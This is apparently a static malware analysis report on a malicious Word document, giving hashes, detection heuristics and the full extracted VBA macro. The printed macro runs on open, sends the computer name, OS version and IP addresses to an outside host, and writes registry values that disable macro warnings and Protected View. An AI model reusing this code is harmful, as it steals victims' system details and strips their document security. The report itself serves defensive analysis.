Malicious Office (OOXML) / .DOC — malware analysis report

Static analysis result for SHA-256 ce496d2269838b09…

MALICIOUS

Office (OOXML) / .DOC

17.1 KB Created: 2022-09-25 15:58:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2022-09-28
MD5: 2c0db5d995d997a7687f527c493b4c89 SHA-1: 45b42292f1be2067ad11c26b68a12df5a662afe9 SHA-256: ce496d2269838b0917b8e4889432db0e13d0a44682327c06ccdd223f4ca38718
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample contains VBA macros, including a Document_Open macro that executes obfuscated code. This code attempts to construct a URL using system information and then uses CreateObject to instantiate an object, likely for downloading and executing a payload. The URL constructed is 'http://word2022.c1.biz//index.php?os=<OS_Version>&name=<ComputerName>&ip=<IP_Addresses>'.

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set wsh = CreateObject("WScript.Shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set objNTInfo = CreateObject("WinNTSystemInfo")
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\CIMV2")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://word2022.c1.biz//index.phpIn document text (OOXML body / shared strings)
    • http://word2022.c1.biz//index.php?�In document text (OOXML body / shared strings)

Related samples 2

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2638 bytes
SHA-256: cf9d064db0357b98d921901839e7306c08433c6cb564f75c0ffc1ce65a1efbd7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Document_Open()
ActiveDocument.Content.Font.ColorIndex = wdBlack
HS86S0DEJ
FDK346SSD
ThisDocument.Saved = True
ActiveDocument.Saved = True
ActiveDocument.AttachedTemplate.Saved = True
End Sub
Function GetIp()
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\CIMV2")
Set colItems = objWMIService.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled = True", , 48)
localIp = ""
For Each objItem In colItems
    For i = LBound(objItem.IPAddress) To UBound(objItem.IPAddress)
        If (StrComp(objItem.IPAddress(i), "0.0.0.0") <> 0) And _
                      objItem.ServiceName <> "VMnetAdapter" And objItem.ServiceName <> "VNA" And objItem.ServiceName <> "vna_ap" Then
            localIp = localIp & "_" & objItem.IPAddress(i)
        End If
    Next
Next
GetIp = localIp
End Function
Function GetHostName()
    Dim objNTInfo
    Set objNTInfo = CreateObject("WinNTSystemInfo")
    ComputerName = objNTInfo.ComputerName
    GetHostName = ComputerName
End Function
Function OsVersion()
Set objWMIServiceOS = GetObject("winmgmts:\\.\root\CIMV2")
Set colItemsOS = objWMIServiceOS.ExecQuery("SELECT * FROM Win32_OperatingSystem", , 48)
For Each objItem In colItemsOS
    OsVersion = objItem.Version
Exit For
Next
End Function
Private Sub HS86S0DEJ()
URL = "http://word2022.c1.biz//index.php?" & "os=" & OsVersion & "&name=" & GetHostName & "&ip=" & GetIp
Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
xHttp.Open "GET", URL, False
xHttp.Send
End Sub

Sub FDK346SSD()
Dim wordVr As String
Dim wsh As Object
wordVr = Application.Version
Set wsh = CreateObject("WScript.Shell")
wsh.RegWrite "HKCU\Software\Microsoft\Office\" & wordVr & "\Word\Security\AccessVBOM", 1, "REG_DWORD"
wsh.RegWrite "HKCU\Software\Microsoft\Office\" & wordVr & "\Word\Security\VBAWarnings", 1, "REG_DWORD"
wsh.RegWrite "HKCU\Software\Microsoft\Office\" & wordVr & "\Word\Security\ProtectedView\DisableAttachmentsInPV", 1, "REG_DWORD"
wsh.RegWrite "HKCU\Software\Microsoft\Office\" & wordVr & "\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wsh.RegWrite "HKCU\Software\Microsoft\Office\" & wordVr & "\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12800 bytes
SHA-256: 14e7074a4931a0530f3c853bbf114739d52aeb599e25b5759adb4045383c1583

Open this report in the interactive analyzer, or submit your own file for analysis.